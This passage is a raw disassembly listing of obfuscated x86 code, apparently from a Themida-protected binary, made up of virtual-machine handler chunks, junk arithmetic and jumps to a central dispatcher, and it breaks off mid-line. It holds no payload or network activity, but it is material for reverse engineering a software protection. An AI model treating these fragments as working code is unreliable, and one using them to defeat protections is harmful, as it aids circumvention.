mov ecx, 0A5C03A04h xor eax, ecx pop ecx add ebx, eax pop eax xchg ebx, [esp+3Ah+var_3C+2] jmp loc_590293 ; --------------------------------------------------------------------------- loc_58D78C: ; CODE XREF: sub_59196D-20A4j add esi, 4 sub esi, 4 xor esi, [esp+3Ah+var_3C+2] jmp loc_593F59 ; --------------------------------------------------------------------------- loc_58D7A0: ; CODE XREF: sub_59196D+B0Aj sub ecx, eax pop eax pop edx push ebx push 4 pop ebx add ecx, ebx mov ebx, [esp+36h+var_36] add esp, 4 xor ecx, [esp+32h+var_32] jmp loc_58D3D9 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D61F loc_58D7BE: ; CODE XREF: sub_58D61F+Aj jmp loc_58B37B ; END OF FUNCTION CHUNK FOR sub_58D61F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58D7C3: ; CODE XREF: sub_59196D-A6j push esi push 3D17h mov [esp+3Ah+var_3C+2], edi push ebx mov ebx, 6F2033EFh jmp loc_59494C ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_58D7D7 proc near ; CODE XREF: sub_59843D-C8D3j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00590132 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00591334 SIZE 00000006 BYTES sub esp, 4 mov [esp+4+var_4], edi push ecx mov ecx, 18683237h mov edi, ecx jmp loc_591334 sub_58D7D7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58D7EA: ; CODE XREF: sub_59196D+15A9j push edi mov edi, 1A16100Bh or edi, 42E00563h sub edi, 222C7208h jmp loc_58C40F ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_58D801: ; DATA XREF: Themida_:0058B13Co lodsd push esi mov esi, 4B9A6AB4h add eax, 637F422Ch sub eax, esi sub eax, 637F422Ch mov esi, [esp] jmp loc_590833 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58D81C: ; CODE XREF: sub_59196D+4C0j ; sub_59196D:loc_5924C7j mov esi, 2 add eax, esi jmp loc_5981A3 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], ax pushf jmp loc_58B37B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58D838: ; CODE XREF: sub_59196D+E3Cj ; sub_59196D:loc_598041j neg bl neg bl jz loc_58CBA9 jmp loc_58E4EF ; --------------------------------------------------------------------------- loc_58D847: ; CODE XREF: sub_59196D-2A15j pop ebx push edi mov edi, 2 jmp loc_5960B4 ; --------------------------------------------------------------------------- loc_58D853: ; CODE XREF: sub_59196D-3306j mov esp, [esp+42h+var_44+2] xchg eax, [esp+42h+var_44+2] pop esp push [esp+3Eh+var_40+2] mov eax, [esp+42h+var_44+2] sub esp, 4 mov [esp+0], ebp push esp mov ebp, [esp+4Ah+var_4A] push ecx mov ecx, esp add ecx, 4 jmp loc_597385 ; --------------------------------------------------------------------------- loc_58D878: ; CODE XREF: sub_59196D-3F0Aj push cx pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58D880: ; CODE XREF: sub_59196D+50BCj mov [esp+54h+var_54], edi jmp loc_58E2C9 ; --------------------------------------------------------------------------- loc_58D888: ; CODE XREF: sub_59196D+245Fj mov cx, word ptr [esp+54h+var_54] push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_59473D ; --------------------------------------------------------------------------- loc_58D89E: ; CODE XREF: sub_59196D+2170j push ecx push 7D3Fh mov [esp+60h+var_60], esp add [esp+60h+var_60], 4 mov ecx, [esp+60h+var_60] add esp, 4 push ebp mov ebp, 4 add ecx, ebp jmp loc_58FAF0 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FD91 loc_58D8C4: ; CODE XREF: sub_58FD91+Cj jmp loc_58B37B ; END OF FUNCTION CHUNK FOR sub_58FD91 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58D8C9: ; CODE XREF: sub_59196D-4EF0j mov ebx, esi pop esi jmp loc_595D4A ; --------------------------------------------------------------------------- loc_58D8D1: ; CODE XREF: sub_59196D+5B92j add ecx, 4 add ecx, 4 xor ecx, [esp+32h+var_32] xor [esp+32h+var_32], ecx xor ecx, [esp+32h+var_32] jmp loc_592CDF ; --------------------------------------------------------------------------- loc_58D8EB: ; CODE XREF: sub_59196D-19AFj pop ebx push edx push ebx jmp sub_58EF7E ; --------------------------------------------------------------------------- loc_58D8F3: ; CODE XREF: sub_59196D+417Bj mov eax, [esp+36h+var_36] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+3Ah+var_3C+2] pop esp push 428Bh jmp loc_596405 ; --------------------------------------------------------------------------- loc_58D913: ; CODE XREF: sub_59196D-3B04j xor eax, 0D5B164Dh jmp loc_5914AF ; --------------------------------------------------------------------------- loc_58D91D: ; CODE XREF: sub_59196D-5FBBj add edx, 31F00243h jz loc_58C451 add edx, 16B81A31h js loc_596972 jmp loc_5951B3 ; --------------------------------------------------------------------------- loc_58D93A: ; CODE XREF: sub_59196D-207Cj mov esi, 767E0A13h dec esi jmp loc_598642 ; --------------------------------------------------------------------------- loc_58D945: ; CODE XREF: sub_59196D-A37j xor [esp+1Ch+var_1E+2], edi xor edi, [esp+1Ch+var_1E+2] mov esp, [esp+1Ch+var_1E+2] sar byte ptr [esp+1Ch+var_1E+2], cl pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58D957: ; CODE XREF: sub_59196D-14FFj pop ebp add esi, 6C907EBh add esi, ebx sub esi, 6C907EBh pop ebx add esi, 2 xchg esi, [esp+18h+var_1A+2] jmp loc_5965CD ; --------------------------------------------------------------------------- loc_58D975: ; CODE XREF: sub_59196D+53A1j mov ebx, [esp+18h+var_1A+2] add esp, 4 add ecx, 9FD3ED72h and eax, ecx push [esp+14h+var_16+2] pop ecx push ebp jmp loc_597CAA ; --------------------------------------------------------------------------- loc_58D98D: ; CODE XREF: sub_59196D-16DFj mov ebp, ebx pop ebx sub edi, 5783014Dh sub edi, ebp add edi, 5783014Dh mov ebp, [esp+14h+var_16+2] add esp, 4 not edi not edi sub esp, 4 mov [esp+14h+var_16+2], ecx jmp loc_596E32 ; --------------------------------------------------------------------------- loc_58D9B6: ; CODE XREF: sub_59196D+5494j push eax mov eax, 686157F5h and esi, eax pop eax add esi, 300A7FADh jbe loc_5914D6 jmp loc_592D81 ; --------------------------------------------------------------------------- loc_58D9D0: ; CODE XREF: sub_59196D+EB6j sub eax, 54680F81h add eax, ecx add eax, 54680F81h pop ecx jmp loc_590809 ; --------------------------------------------------------------------------- loc_58D9E2: ; CODE XREF: sub_59196D-8BFj not esi xor esi, 10035A1Dh sub edx, esi pop esi xor edx, [esp+0Ch+var_C] xor [esp+0Ch+var_C], edx jmp loc_597939 ; --------------------------------------------------------------------------- loc_58D9F8: ; CODE XREF: sub_59196D+3796j pop ebp push 6164h jmp loc_58EDFB ; --------------------------------------------------------------------------- loc_58DA03: ; CODE XREF: sub_59196D+2B82j mov [esp+0Ch+var_C], edx push ebx mov bh, 0B9h jmp loc_59546A ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D10E loc_58DA0E: ; CODE XREF: sub_58D10E+Fj xchg ebx, [esp+4+var_4] mov esp, [esp+4+var_4] add edx, 4 add edx, 2 xor edx, [esp+0] jmp loc_5929FE ; END OF FUNCTION CHUNK FOR sub_58D10E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58DA28: ; CODE XREF: sub_59196D-172Dj add dl, cl jmp loc_58DA88 ; --------------------------------------------------------------------------- loc_58DA2F: ; CODE XREF: sub_59196D+C95j pop esp sub eax, 4 xor eax, [esp+0Ch+var_C] xor [esp+0Ch+var_C], eax xor eax, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] mov [esp+0Ch+var_C], eax pop edx jmp loc_591E67 ; --------------------------------------------------------------------------- loc_58DA48: ; CODE XREF: sub_59196D-6E7j mov [esp+8+var_8], esi mov esi, esp push ecx mov ecx, 4 jmp loc_5950D7 ; --------------------------------------------------------------------------- loc_58DA58: ; CODE XREF: sub_59196D-2625j mov esp, [esp+0Ch+var_C] mov word ptr [esp+0Ch+var_C], cx movzx cx, al jmp loc_58D878 ; --------------------------------------------------------------------------- loc_58DA68: ; CODE XREF: sub_59196D+4F57j sub esi, 78F674C1h pop edi jmp loc_593601 ; --------------------------------------------------------------------------- loc_58DA74: ; CODE XREF: sub_59196D+4BAj or edi, 2ED71892h sub edi, 7EBE4690h add eax, edi pop edi jmp loc_5922D9 ; --------------------------------------------------------------------------- loc_58DA88: ; CODE XREF: sub_59196D-3F43j add dl, 0BCh pop ecx xor al, dl push [esp+0Ch+var_C] jmp loc_59256E ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_58DA96: ; CODE XREF: Themida_:0058B66Bj add [esp+4], ecx jmp loc_58F2DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58DA9F: ; CODE XREF: sub_59196D-487Aj add edi, ebp mov ebp, [esp+14h+var_16+2] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+18h+var_1A+2] pop esp xchg edi, [esp+14h+var_16+2] mov esp, [esp+14h+var_16+2] mov cx, word ptr [esp+14h+var_16+2] push 383Ch mov [esp+18h+var_1A+2], esi sub esp, 4 mov [esp+1Ch+var_1E+2], esp push ebp mov ebp, 4 add [esp+20h+var_1E+2], ebp pop ebp pop esi jmp loc_595E39 ; --------------------------------------------------------------------------- loc_58DAE3: ; CODE XREF: sub_59196D-26C7j add ebx, 37341A85h dec ebx shr ebx, 8 push edx mov edx, 7FC587h xor ebx, edx jmp loc_58CCC0 ; --------------------------------------------------------------------------- loc_58DAFA: ; CODE XREF: sub_59196D-2698j ; sub_59196D+1336j sub edx, 5B1258F4h push ecx mov ecx, 74C4359Eh xor ecx, 466F0E3Fh add ecx, 0F71D33ECh add edx, ecx pop ecx jmp loc_59126D ; --------------------------------------------------------------------------- loc_58DB1A: ; CODE XREF: sub_59196D+763j mov edx, [esp+1Ch+var_1E+2] add esp, 4 jmp loc_594CCF ; --------------------------------------------------------------------------- loc_58DB25: ; CODE XREF: sub_59196D-44EEj shl dl, 8 push eax mov al, 91h shl al, 1 shr al, 3 add al, 4Dh shl al, 1 jmp loc_59603A ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59128B loc_58DB39: ; CODE XREF: sub_59128B+51j add esp, 4 jmp loc_58B37B ; END OF FUNCTION CHUNK FOR sub_59128B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58DB41: ; CODE XREF: sub_59196D:loc_58E9B7j xor esi, 7A484406h xor esi, edi mov edi, [esp+34h+var_36+2] add esp, 4 jmp loc_58CB99 ; --------------------------------------------------------------------------- loc_58DB57: ; CODE XREF: sub_59196D+5A56j mov ebp, [esp+30h+var_32+2] add esp, 4 add eax, 22E41B83h push 4D4Ah jmp loc_59677A ; --------------------------------------------------------------------------- loc_58DB6C: ; CODE XREF: sub_59196D-106Bj push 7F59h mov [esp+34h+var_36+2], ebx jmp loc_596824 ; --------------------------------------------------------------------------- loc_58DB79: ; CODE XREF: sub_59196D+32F5j add [esp+34h+var_36+2], 0E150B45h push [esp+34h+var_36+2] pop eax add esp, 4 sub esp, 4 mov [esp+34h+var_36+2], edx push ebp push ebx jmp loc_592FEA ; --------------------------------------------------------------------------- loc_58DB94: ; CODE XREF: sub_59196D-243Fj mov edi, 4 add dword ptr [esp+4], 584349E2h jmp loc_5906C8 ; --------------------------------------------------------------------------- loc_58DBA6: ; CODE XREF: sub_59196D-4F98j pop esi add esi, ebp pop ebp sub esi, 4 xchg esi, [esp+36h+var_36] mov esp, [esp+36h+var_36] mov [esp+36h+var_36], ebp mov ebp, 67280549h add ebx, ebp jmp loc_593616 ; --------------------------------------------------------------------------- loc_58DBC5: ; CODE XREF: sub_59196D+20C0j pop bx sub al, 10h jmp loc_58CB87 ; --------------------------------------------------------------------------- loc_58DBCE: ; CODE XREF: sub_59196D+1D58j neg eax jo loc_596A73 sub eax, 6EF96C2Fh js loc_58BFD9 neg eax add eax, 7E2ABE6h mov ebp, eax pop eax mov edx, ebx pop ebx loc_58DBEE: ; CODE XREF: sub_59196D+3309j add ebx, 0FAAE649Eh add ecx, ebx pop ebx sub edi, ecx mov ecx, [esp+28h+var_2A+2] add esp, 4 xchg edi, [esp+24h+var_26+2] pop esp mov [esp+20h+var_22+2], ebx pop eax push ebp jmp loc_597BE7 ; --------------------------------------------------------------------------- loc_58DC10: ; CODE XREF: sub_59196D+3176j mov ebp, 83030E7h push edi mov edi, 5D2E2C40h xor ebp, edi pop edi shl ebp, 2 shl ebp, 4 jmp loc_590144 ; --------------------------------------------------------------------------- loc_58DC29: ; CODE XREF: sub_59196D-492Ej add esi, 4 xchg esi, [esp+1Ch+var_1E+2] mov esp, [esp+1Ch+var_1E+2] jmp loc_58E46B ; --------------------------------------------------------------------------- loc_58DC37: ; CODE XREF: sub_59196D+11A3j or ebx, 20AE510Ch jno loc_594845 jmp loc_596188 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- add esp, 4 push dword ptr [esp] pop eax ; START OF FUNCTION CHUNK FOR sub_59196D loc_58DC52: ; CODE XREF: sub_59196D+44D5j mov edx, 4 jmp loc_590333 ; --------------------------------------------------------------------------- loc_58DC5C: ; CODE XREF: sub_59196D-196Bj push eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp+20h+var_22+2] pop esp xor eax, [esp+1Ch+var_1E+2] xor [esp+1Ch+var_1E+2], eax xor eax, [esp+1Ch+var_1E+2] mov esp, [esp+1Ch+var_1E+2] mov [esp+1Ch+var_1E+2], ecx jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58DC7F: ; CODE XREF: sub_59196D+3AFFj mov ebx, [esp+1Ch+var_1E+2] add esp, 4 jmp loc_58CB91 ; --------------------------------------------------------------------------- loc_58DC8A: ; CODE XREF: sub_59196D+6CA9j push edi push ebx mov ebx, 4C004485h push ebp mov ebp, ebx mov edi, ebp pop ebp jmp loc_593C49 ; --------------------------------------------------------------------------- loc_58DC9C: ; CODE XREF: sub_59196D+47E2j pop ebx neg ebx jmp loc_593B14 ; --------------------------------------------------------------------------- loc_58DCA4: ; CODE XREF: sub_59196D+1C38j sub ecx, 1 dec ecx push 0 sub [esp+20h+var_22+2], ecx pop ecx or ecx, 59FC7846h not ecx jmp loc_5946EB ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- lodsd sub eax, 552C209Ah add eax, ebx push 0FD9h mov [esp], ecx mov ecx, 3E4D15D2h push edx push ecx jmp loc_59713B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58DCDD: ; CODE XREF: sub_59196D+57EAj sub bl, 7Dh push 1324h mov [esp+20h+var_22+2], ecx mov ch, 52h add bl, ch mov ecx, [esp+20h+var_22+2] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+24h+var_26+2] pop esp movzx eax, al jmp dword ptr [edi+eax*4] ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- popa retn ; --------------------------------------------------------------------------- loc_58DD06: ; DATA XREF: Themida_:0058B098o push dword ptr [edi+1Ch] popf pop cx rcl word ptr [esp], cl pushf jmp loc_58B37B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58DD16: ; CODE XREF: sub_59196D-28C7j push 7759h mov [esp+24h+var_26+2], edi jmp loc_597CFD ; --------------------------------------------------------------------------- loc_58DD23: ; CODE XREF: sub_59196D+477Fj sub eax, ebx jmp loc_58D053 ; --------------------------------------------------------------------------- loc_58DD2A: ; CODE XREF: sub_59196D:loc_594530j jmp loc_58CA98 ; --------------------------------------------------------------------------- loc_58DD2F: ; CODE XREF: sub_59196D+3BB1j dec ebx xchg ebx, edx push ebp mov ebp, 2035127Ah jmp loc_5947AB ; --------------------------------------------------------------------------- loc_58DD3D: ; CODE XREF: sub_59196D+52A4j xor ebp, eax pop eax mov eax, ebp mov ebp, [esp+24h+var_26+2] add esp, 4 mov edx, eax mov eax, [esp+20h+var_22+2] push ecx mov ecx, esp push ebx push ecx push 658E722Ah pop ecx or ecx, 4C4F6055h jno loc_596564 xor ecx, 6DCF727Bh mov ebx, ecx add al, 2 mov ebx, eax loc_58DD70: ; CODE XREF: sub_59196D+BA9j push dword ptr [edi+1Ch] popf pop ax adc byte ptr [esp+2Ah+var_2A], al pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58DD7F: ; CODE XREF: sub_59196D-3B9j mov edi, 8A62ECAh xor edi, 58917AEFh not edi shr edi, 7 jmp loc_591387 ; --------------------------------------------------------------------------- loc_58DD94: ; CODE XREF: sub_59196D-21F8j xor [esp+2Eh+var_2E], ebp xor ebp, [esp+2Eh+var_2E] pop esp mov [esp+2Ah+var_2A], ebp push 1 push [esp+2Eh+var_2E] mov ebp, [esp+32h+var_32] add esp, 4 push edx mov edx, esp push edi mov edi, 46507213h neg edi xor edi, 2F50130Fh jmp loc_5932BE ; --------------------------------------------------------------------------- loc_58DDC2: ; CODE XREF: sub_59196D+171Ej xor [esp+36h+var_36], ebp xor ebp, [esp+36h+var_36] pop esp shl byte ptr [esp+32h+var_32], cl pushf jmp loc_5935CA ; --------------------------------------------------------------------------- loc_58DDD2: ; CODE XREF: sub_59196D:loc_58F03Cj shl edi, 2 js loc_59044D xor edi, 0A7B55F74h mov ecx, ecx mov dl, 36h loc_58DDE5: ; CODE XREF: sub_59196D-277Fj ; sub_59196D-DF7j add eax, 226E0CECh jmp loc_58BF63 ; --------------------------------------------------------------------------- loc_58DDEF: ; CODE XREF: sub_59196D-5103j ; sub_59196D+270Aj shr eax, 8 xor eax, ecx jmp loc_591511 ; --------------------------------------------------------------------------- loc_58DDF9: ; CODE XREF: sub_59196D:loc_5909DEj ; sub_59196D+5300j sub ebx, 4 xchg ebx, [esp+2Eh+var_2E] pop esp mov [esp+2Ah+var_2A], esi jmp loc_595B4C ; --------------------------------------------------------------------------- loc_58DE0B: ; CODE XREF: sub_59196D+589Fj pop esi add eax, 55EA5F45h jmp loc_595C55 ; --------------------------------------------------------------------------- loc_58DE16: ; CODE XREF: sub_59196D+9E0j jmp loc_592C38 ; --------------------------------------------------------------------------- loc_58DE1B: ; CODE XREF: sub_59196D-44B3j add esi, eax sub esi, 29720344h pop eax jmp loc_58FB19 ; --------------------------------------------------------------------------- loc_58DE29: ; CODE XREF: sub_59196D+322Fj add edx, eax jmp loc_58BFE8 ; --------------------------------------------------------------------------- loc_58DE30: ; CODE XREF: sub_59196D+D14j pop esp mov [esp+10h+var_12+2], edx mov dh, 9Fh xor al, dh pop edx push 46BAh mov [esp+10h+var_12+2], edx push eax mov al, 55h shr al, 6 jp loc_58BE1D neg al jl loc_598348 neg al push ebx mov bh, 6Ch jmp loc_5933BC ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- pop esp mov bh, 58h ; START OF FUNCTION CHUNK FOR sub_59196D loc_58DE62: ; CODE XREF: sub_59196D-5D64j shr eax, 1 xor eax, 73C79F4h jnp loc_58D913 xor eax, 0D5B164Dh jmp loc_596F4D ; --------------------------------------------------------------------------- loc_58DE79: ; CODE XREF: sub_59196D-67Bj push ecx push edx sub [esp+34h+var_36+2], 630755B0h pop ecx jmp loc_5977FE ; --------------------------------------------------------------------------- loc_58DE88: ; CODE XREF: sub_59196D-1D80j push 6F2Dh mov [esp+34h+var_36+2], ebx mov ebx, esp jmp loc_59011D ; --------------------------------------------------------------------------- loc_58DE97: ; CODE XREF: sub_59196D+191Dj mov [esp+34h+var_36+2], edi push [esp+34h+var_32+2] pop edi jmp loc_5985F7 ; --------------------------------------------------------------------------- loc_58DEA4: ; CODE XREF: sub_59196D+69CEj add esp, 4 sub [edi+24h], ecx mov ecx, [esp+30h+var_32+2] push 42A1h mov [esp+34h+var_36+2], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+34h+var_36+2] jmp loc_5930D4 ; --------------------------------------------------------------------------- loc_58DECB: ; CODE XREF: sub_59196D-3267j pop eax and ecx, edx pop edx shr ecx, 7 push dword ptr [edi+1Ch] push [esp+30h+var_32+2] pop eax jmp loc_59063C ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- mov ecx, [esp] push ebp push 332Ah push 5BF2h jmp loc_591F1D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58DEF1: ; CODE XREF: sub_59196D-1E1j add eax, ebp jmp loc_5938C5 ; --------------------------------------------------------------------------- loc_58DEF8: ; CODE XREF: sub_59196D+4149j push edx jmp loc_59503D ; --------------------------------------------------------------------------- loc_58DEFE: ; CODE XREF: sub_59196D+419Cj push [esp+34h+var_32+2] pop eax jmp loc_5937FB ; --------------------------------------------------------------------------- loc_58DF08: ; CODE XREF: sub_59196D+3AD4j push ecx mov ecx, 4 jmp loc_596937 ; --------------------------------------------------------------------------- loc_58DF13: ; CODE XREF: sub_59196D+3660j xchg eax, [esp+0] mov esp, [esp+0] shr eax, 18h xor eax, ecx jmp loc_59047C ; --------------------------------------------------------------------------- loc_58DF23: ; CODE XREF: sub_59196D+4C92j pop esp jmp loc_58C556 ; --------------------------------------------------------------------------- loc_58DF29: ; CODE XREF: sub_59196D+1293j xor eax, 162F2882h shl eax, 7 shl eax, 5 sub eax, 6E16D07Ch sub edx, eax pop eax shr edx, 7 neg edx xor edx, 0F1326AFFh sub eax, edx mov edx, [esp+30h+var_32+2] add esp, 4 sub esp, 4 jmp loc_5935F9 ; --------------------------------------------------------------------------- loc_58DF5A: ; CODE XREF: sub_59196D+3197j pop cx add ch, 47h sub ch, dh sub ch, 47h pop dx sub ch, 0Fh jmp loc_58E951 ; --------------------------------------------------------------------------- loc_58DF6E: ; CODE XREF: sub_59196D-4F90j pop ebx pop edx push 5667h mov [esp+36h+var_36], eax jmp loc_5932DB ; --------------------------------------------------------------------------- loc_58DF7D: ; CODE XREF: sub_59196D+DA6j pop ebp push ebp mov ebp, esp add ebp, 4 jmp sub_58C57F ; --------------------------------------------------------------------------- loc_58DF8C: ; CODE XREF: sub_59196D+5118j sub edx, 6CD3445Ah add edx, 6ED6B0F4h sub eax, edx pop edx pop edx push 29DBh jmp loc_58BE30 ; --------------------------------------------------------------------------- loc_58DFA6: ; CODE XREF: sub_59196D+671Cj mov ebx, esp add ebx, 4 sub ebx, 4 xor ebx, [esp+32h+var_32] xor [esp+32h+var_32], ebx jmp loc_596FCC ; --------------------------------------------------------------------------- loc_58DFBF: ; CODE XREF: sub_59196D+3DB7j pop esp mov [esp+2Eh+var_2E], ebx jmp loc_593E5F ; --------------------------------------------------------------------------- loc_58DFC8: ; CODE XREF: sub_59196D-5253j mov ebx, ebp push [esp+36h+var_36] pop ebp add esp, 4 sub [esp+32h+var_2E], 25354F66h sub [esp+32h+var_2E], ebx jmp loc_597D60 ; --------------------------------------------------------------------------- loc_58DFE5: ; CODE XREF: Themida_:0058E628j ; sub_59196D+2C31j sub ebp, 144FA453h xor ecx, ebp pop ebp and eax, ecx jmp loc_59684E ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- movzx ax, byte ptr fs:[edx] push edx push esp jmp loc_58BCFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58E001: ; CODE XREF: sub_59196D+4A0Dj xor ecx, 3E26155Bh sub ecx, 0CB50705Bh sub eax, ecx pop ecx add eax, ecx push edx mov edx, 62E134A6h and edx, 1A4F39D4h inc edx add edx, 7822D39Eh add eax, edx pop edx push [esp+2Ah+var_2A] pop ecx add esp, 4 add eax, 2 xor eax, [esp+26h+var_26] xor [esp+26h+var_26], eax xor eax, [esp+26h+var_26] jmp loc_58C6D1 ; --------------------------------------------------------------------------- loc_58E043: ; CODE XREF: sub_59196D+224Dj add ecx, 436318E0h xor ecx, 633C6072h jle loc_58F94A xor ecx, 5320112Eh mov edx, ecx pop ecx neg edx add edx, 1160C1Ch not edx jmp loc_59540A ; --------------------------------------------------------------------------- loc_58E06D: ; CODE XREF: sub_59196D+60C2j push eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp+26h+var_26] xor [esp+26h+var_26], eax xor eax, [esp+26h+var_26] pop esp pop [esp+22h+var_22] mov esp, [esp+1Eh+var_1E] xor ebx, eax push 4743h mov [esp+22h+var_22], eax jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58E097: ; CODE XREF: sub_59196D-2D69j xor edx, 380639FFh jge loc_596154 sub edx, 788629F5h jmp loc_58E8F2 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- xchg esi, [esp] ; =============== S U B R O U T I N E ======================================= sub_58E0B1 proc near ; CODE XREF: sub_59196D+1DECj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058E3CB SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00590506 SIZE 00000009 BYTES push ebp jmp loc_58E3CB sub_58E0B1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58E0B7: ; CODE XREF: sub_59196D+31C3j jmp loc_5952F4 ; --------------------------------------------------------------------------- loc_58E0BC: ; CODE XREF: sub_59196D+3FABj sub esi, 4 xchg esi, [esp+22h+var_22] jmp loc_594ADF ; --------------------------------------------------------------------------- loc_58E0CA: ; CODE XREF: sub_59196D+5088j add edi, 4 add edi, 4 xchg edi, [esp+22h+var_22] pop esp pop [esp+1Eh+var_1E] pop esp mov [esp+16h+var_16], ebx push esp pop ebx add ebx, 4 push 6BC2h mov [esp+1Ah+var_1A], ecx mov ecx, 2 jmp loc_5956DD ; --------------------------------------------------------------------------- loc_58E0FB: ; CODE XREF: sub_59196D+5364j mov bl, 0A9h sub bl, 36h shl bl, 8 not bl sub bl, 0A4h jmp loc_590116 ; --------------------------------------------------------------------------- loc_58E10D: ; CODE XREF: sub_59196D+18B4j mov ebx, 0 sub ebx, 1112525Dh add ebx, edx push edx mov edx, 1112525Dh add ebx, edx pop edx push edx jmp loc_595324 ; --------------------------------------------------------------------------- loc_58E129: ; CODE XREF: sub_59196D-60BDj jb loc_592515 inc edx jmp loc_59202A ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- inc word ptr [esp] pushf ; START OF FUNCTION CHUNK FOR sub_59196D loc_58E13A: ; CODE XREF: sub_59196D+162Dj jno loc_596453 and eax, 76A53A15h jb loc_59622D sub al, 21h loc_58E14D: ; CODE XREF: sub_58ED60+757j push ebp mov ebp, 3652012h sub esi, ebp mov ebp, [esp+18h+var_1A+2] add esp, 4 pop ecx jmp loc_5942C2 ; --------------------------------------------------------------------------- loc_58E161: ; CODE XREF: sub_59196D-2C20j mov edi, 0E96A04h sub edi, 24883EBCh dec edi and edi, 614B3CE3h add edi, 0E85AE7FEh sub eax, edi pop edi add eax, 7EB55EAFh jmp loc_597A58 ; --------------------------------------------------------------------------- loc_58E186: ; CODE XREF: sub_59196D-14D9j xchg esi, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] mul cl movzx cx, ah push 3396h mov [esp+10h+var_12+2], edi jmp loc_597785 ; --------------------------------------------------------------------------- loc_58E19F: ; CODE XREF: sub_59196D-54A1j xor edx, 31EE22F3h sub eax, edx jmp loc_5965C7 ; --------------------------------------------------------------------------- loc_58E1AC: ; CODE XREF: sub_59196D-4DD9j neg al sub al, 79h sub al, 1 push ebx mov bh, 0C6h push eax jmp loc_58CA01 ; --------------------------------------------------------------------------- loc_58E1BB: ; CODE XREF: sub_59196D-3021j mov [esp+34h+var_36+2], ecx mov ecx, 9C654EAh jmp loc_58EDD5 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push 5FA5h mov [esp], ecx push esp pop ecx push edx mov edx, 4 add ecx, 7D9D6D40h add ecx, edx push eax jmp loc_592472 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58E1EA: ; CODE XREF: sub_59196D-2A98j ; sub_59196D:loc_593967j mov ecx, 142807E0h jmp loc_597F15 ; --------------------------------------------------------------------------- loc_58E1F4: ; CODE XREF: sub_59196D+1962j add edx, ebx jmp loc_5982A3 ; --------------------------------------------------------------------------- loc_58E1FB: ; CODE XREF: sub_59196D+5ADBj pop ebp shr eax, 1 jmp loc_5970DE ; --------------------------------------------------------------------------- loc_58E203: ; CODE XREF: sub_59196D-2114j sub ebp, edx pop edx push ebp push [esp+30h+var_2E+2] pop ebp pop [esp+30h+var_32+2] pop esp mov [esp+28h+var_2A+2], ebp mov ebp, 1 jmp loc_598426 ; --------------------------------------------------------------------------- loc_58E21D: ; CODE XREF: sub_59196D+6666j add esp, 2 push eax mov al, 16h shr al, 5 jmp loc_58CCDF ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_58E22B: ; CODE XREF: Themida_:00591110j mov ebp, [esp] add esp, 4 add ebp, 4 jmp loc_596B09 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58E23F: ; CODE XREF: 